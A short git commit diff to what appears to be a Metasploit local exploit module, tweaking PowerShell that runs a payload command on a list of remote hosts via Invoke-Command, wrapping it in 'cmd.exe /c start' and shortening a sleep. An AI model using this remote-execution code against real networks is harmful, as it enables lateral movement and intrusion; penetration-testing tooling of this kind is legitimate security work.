Ensure we start in a new conhost/process

This commit is contained in:
Meatballs
2014-02-09 23:36:25 +00:00
parent aa93299931
commit a4b451dbc0
@@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Local
$ResultList=@(#{known_hosts});
#{ip_list}
foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { #{command} }
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
EOF
if datastore['SMBUser']
@@ -108,7 +108,7 @@ EOF
# If the host process terminates too quickly the jobs will die
# before they spawn in a new process.
ps << ";Sleep 60;"
ps << ";Sleep 20;"
ps.gsub!("\n","")
command = generate_psh_command_line({